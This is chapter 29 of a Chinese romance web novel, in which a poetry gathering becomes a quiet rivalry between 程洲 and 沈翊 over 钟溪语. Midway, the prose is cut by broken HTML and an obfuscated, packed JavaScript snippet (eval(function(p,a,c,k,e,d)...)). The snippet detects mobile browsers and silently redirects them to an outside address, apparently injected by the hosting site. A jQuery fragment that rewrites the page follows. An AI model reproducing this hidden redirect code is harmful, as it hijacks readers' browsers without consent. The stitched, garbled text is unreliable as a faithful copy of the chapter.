29. 第 29 章
作品:《天然黑养成手札》 流觞席取自曲水流觞之意。
庄内假山布置精巧,山腰处有一处凹陷,形成了天然的蓄水池,恰好前些日子下了场雨,水流蜿蜒而下,浮岚暖翠,颇有意趣。在河渠两旁摆上蒲团,便成了天然的流觞席。
因是诗会,便由一水儿的白底青瓷碟代替觞杯,托着诗文牌顺流而下,停在谁面前,谁便取碟作诗,若所作胜过牌中诗文,则留下瓷碟,反之则要将其放回河渠,等待下一位胜者。
钟溪语和杜蓝回来时,其余人都已经落座。
“凝霜阿姊。”钟溪语动作轻快地在钟凝霜身侧的空位上坐下,抬头便看见对面的沈翊,立刻朝他挥了挥手,“世钰哥哥,你也在啊!”
钟凝霜动作娴熟地替她理了理一路跑来稍显凌乱的碎发,笑道:“急什么。”
沈翊颔首,薄唇微张,正要说些什么,便被一道咋咋呼呼的声音打断:“长乐,你可算回来了,他们在此处办什劳子诗会,听着就无聊得紧,正好小花也恢复了,我们快走吧!”
就在这时,太子略带不悦的声音从上头响起:“段世子大可自便,可长乐心智不全,不能与你一同胡闹。”
段嘉容转头见钟溪语端正坐好,并没有反驳的意思,也只好泄气坐下。
星星瓷碟从上游徐徐飘来,在粼粼碧波的映照下,幽情逸韵,风雅已极。
钟溪语支着脸,百无聊赖地听着周围抑扬顿挫地颂诗声,同斜对面的段嘉容交换了个“好想逃”的眼神。
沈翊若有所觉,拿起帕子净了净手,旁边是剥好的满满一碟松子。
“小语。”他开口唤了一声。
钟溪语下意识朝他看去,就见他袖子微挽,将瓷碟放于水面朝对面轻轻推来。
“给你解馋。”
钟溪语眼睛一亮,连忙俯身去捞。
钟凝霜原本视线落在前方。
不远处,太子时刻照顾着杜蓝,凡事亲力亲为,倒是后者爱答不理。不少人似乎也觉得震惊,频频投去视线,心中颇为错愕。
秦绾却只是面无表情地瞥了二人一眼,很快便收回视线。
正走神之际,余光瞥见钟溪语的动作吓了一跳,钟凝霜还以为她栽水里了,连忙伸手,等她坐好才发现她手上的碟子,下意识看了沈翊一眼。
钟溪语将碟子往她眼前递了递,没心没肺道:“阿姊,你吃吗?”
见钟凝霜摇头婉拒,便拿到二人中间同冷杉一起分享。
这时,一白底青瓷碟在水波的助推下,缓缓停在了钟溪语身前。
钟溪语只觉得周遭一静,茫然抬头,这才发现身前的诗牒。
诗是作不了一点的,钟溪语自我认知明确。
呃……要不,给他们推回去?
就在这时,两道声音同时响起。
“我来吧。”
“我替小语好了。”
沈翊和钟凝霜闻言互相对视一眼。
旁边的人见状笑着提议:“沈学士自不必说,钟二小姐的才名在座想必也都有所耳闻,不知在诗文这一块,谁更胜一筹?不如就此机会一判高下,诸君以为如何?”
“如此甚好!”
其余人纷纷应和。
太子来时便说过,今日以诗会友,没有君臣,众人原本还有些放不下,但见太子始终和气,且一直未开口,渐渐地也放松下来,这才一时忘了场合,直接越过太子说出那一番话。
等众人回过神来,均是心中一颤。
所幸太子殿下并没有什么不满,只是抬头看了眼,似乎对眼前的走向来了几分兴致。
钟凝霜站起身,分别朝太子和沈翊的方向欠身,温声细语道:“不敢攀比沈大人,不过既然诸君开口了,自然没有败兴的道理,便由我来做那引玉的砖吧。”
“钟二小姐谦逊了。”
不远处,秦绾看向钟凝霜的眼神倏地冷下来。
见到众人的注意力转到钟凝霜身上,钟溪语松了口气,但也坐不下去了,要是再来几个碟子停在她面前,总不能都让凝霜阿姊替她吧?
她给段嘉容使了个眼色,身体不着痕迹地往后挪了挪,一副随时开溜的姿态。
就在这时,余光中掠过一片白色的绣袍。
“郡主。”伴随着湿热的呼吸,一声呓语轻轻落在她耳畔。
钟溪语一个激灵往旁边一躲,错愕地看着来人,说话间差点没咬到自己舌头。
“你你你你,你怎么来了?”
程洲施施然在她身旁坐下,朝她弯了弯眼眸:“来为郡主分忧呀。”
旁边的冷杉被他这一挤险些没一屁股坐到地上,看着对方开屏的模样有些牙痒,眸子微眯,右手不自觉落在腰间的匕首,细细摩挲着。
这边动静不大,没引起什么注意,但坐在钟溪语对面的沈翊却看得一清二楚。
他惊疑不定地看着那人。
此人为什么还会出现在小语身边?难道长公主真将他留下来了?
那头的钟凝霜已经作好了诗,轮到他了。
但此刻的沈翊却只是一昧地看着一渠开外的程洲,看着对方转过头,似笑非笑地看向他。
旁人不解,顺着他的视线望去,才发现长乐郡主身边不知何时竟多了一个男人,思绪回转间瞬间意会,同情地看了眼沈翊头顶。
沈翊极力收回心神。
他确实博学多识,即便在这种情况下,仅仅思忖几息,一首诗便就这样信手拈来,虽然不比他此前的诗作,到底也没失太大水准,不过坐下时却不注意打翻了茶盏。
钟凝霜坐下后才注意到旁边多了个人,视线在二人身上打了个转,落在程洲身上:“阁下是?”
“是教授我音律的先生。”钟溪语怕他再次语出惊人,先一步抢答。
程洲看了钟溪语一眼,笑着应了声是,这才疏离地朝钟凝霜颔首:“在下程洲。”
钟凝霜下意识多看了他一眼,心头冒出一个荒唐的猜测,很快又自我否定。
程洲姿容盛极,即便都穿着白衣,若说沈翊是金相玉质的白衣卿相,那他更像是遥荡恣睢的杳霭流玉,即便装得再好,骨子里都是冷的,令人望之生寒。
这种人只有拿捏别人的份。
钟溪语凑到程洲耳边:“凛之哥哥,你还会写诗?”
程洲神色自若:“这有何难,我会的还多着呢。”
话音刚落,旁边传来一声转瞬即逝的冷笑。
钟溪语和程洲齐齐转头,就见冷杉依旧是平日里面无表情的模样,看不出半点异样。
幻听了?钟溪语一脸茫然。
程洲一脸温和:“冷杉姑娘不通诗文,留在这儿也是折磨,若是坐累了不妨起身活动活动。”
钟溪语:“……”
冷杉暼了他一眼,什么话也没说,起身离开。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142796|164559||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
钟溪语艳羡地看着她的背影。
“我……”
程洲像是知道她要说什么,先一步堵嘴:“听说郡主近日功课长进不少,即便还不会写诗,也应该也能鉴赏一二,如此学习的良机可不能错过。”
钟溪语顿时一脸菜色。
眼见冷杉离开,留钟溪语和程洲二人独处,沈翊冷不丁开口:“男女有别,七岁不同席,程公子若也是来参加诗会的,让人再置一席即可,哪有同长乐郡主挤在一处的道理,莫不是仗着郡主不知事?”
“我虽是来参加诗会,但却不是替自己参加的。”程洲从容自若,半点没有要挪动位置的迹象。
旁边有人好奇接话:“这是何意?”
“此番来是为郡主解忧,若再遇诗牒,便由我代为作诗。既为幕僚,自是在主公身后为其献策,哪有与主公分席而坐的道理。沈大人,你说是吧?”
沈翊眸色沉沉:“但愿程公子真当得起这一句幕僚。”
“沈大人大可拭目以待。”
正说着,就有一瓷碟停在钟溪语这一侧。
钟溪语拾起瓷碟,拿起诗文牌后下意识看了眼程洲,见后者朝她点头,便举着牌子,还算流利地将上面的诗念了出来。
这是一首写山的诗,意象平平,除了对仗工整便无甚出彩。
不过众人的关注点此刻都在钟溪语身上,脸上全都写满“她竟然识字”的错愕。
还有些人没忍住地看了程洲一眼,心中腹诽:连傻子都能教,这位莫不是圣人下凡?
钟溪语不知道旁人的心声,只是紧张巴巴地盯着程洲。
后者对她安抚一笑,略一思索便看向对面的沈翊,不紧不慢开口。
“嵯峨凌紫极,势与九霄邻。岂碍浮云蔽,终迷寸草春。
雷渊惊鹤梦,空谷误兰因。俯仰成虚籁,高低岂有垠。
陵迁犹可测,壑语未全贫。谁解烟霞骨,回音壁上尘。”
这一首诗下来,全场寂静。
有的人眼睛一亮,正想叫好,便被旁边的友人及时扯了扯衣角,眼神朝沈翊示意。
即兴诗是好诗,眼前戏也是好戏。
所有人都眼观鼻鼻观心,感受着两位当事人之间汹涌的暗潮。
钟溪语环视一圈,急得抓心挠肝:所以凛之哥哥的诗到底怎么样?为什么他们都不说话了?难道这是什么变相的羞辱?
就在这时,太子身边的杜蓝冷不丁开口:“都没人点评吗?我听着倒觉得此诗甚妙,殿下以为呢?”
太子没想到她竟有关注席上的诗文,方才听了一耳朵,倒是还有印象,回忆了一番后点头应道:“确实不错。”
杜蓝莫名轻笑一声,径直起身:“我心中的头筹已定,再待下去也无意义了。”
说完也没理会太子,直接离开。
太子赫然起身,看样子似乎是想追去,但很快又收回视线,重新坐下。
钟溪语听见程洲的诗得了二人肯定,顿时毫不吝啬地夸奖,结果夸着夸着,视线就跑偏了。
程洲见她一副被勾了魂的模样,顺势望去,只见杜蓝远去的背影。
“郡主似乎很关心那位准太子侧妃啊。”他随口道。
“有吗?”钟溪语收回目光,眨巴着眼装傻道:“可能是因为杜姐姐漂亮吧!”
“是吗?”程洲瞧着她,眸中带着几分若有所思。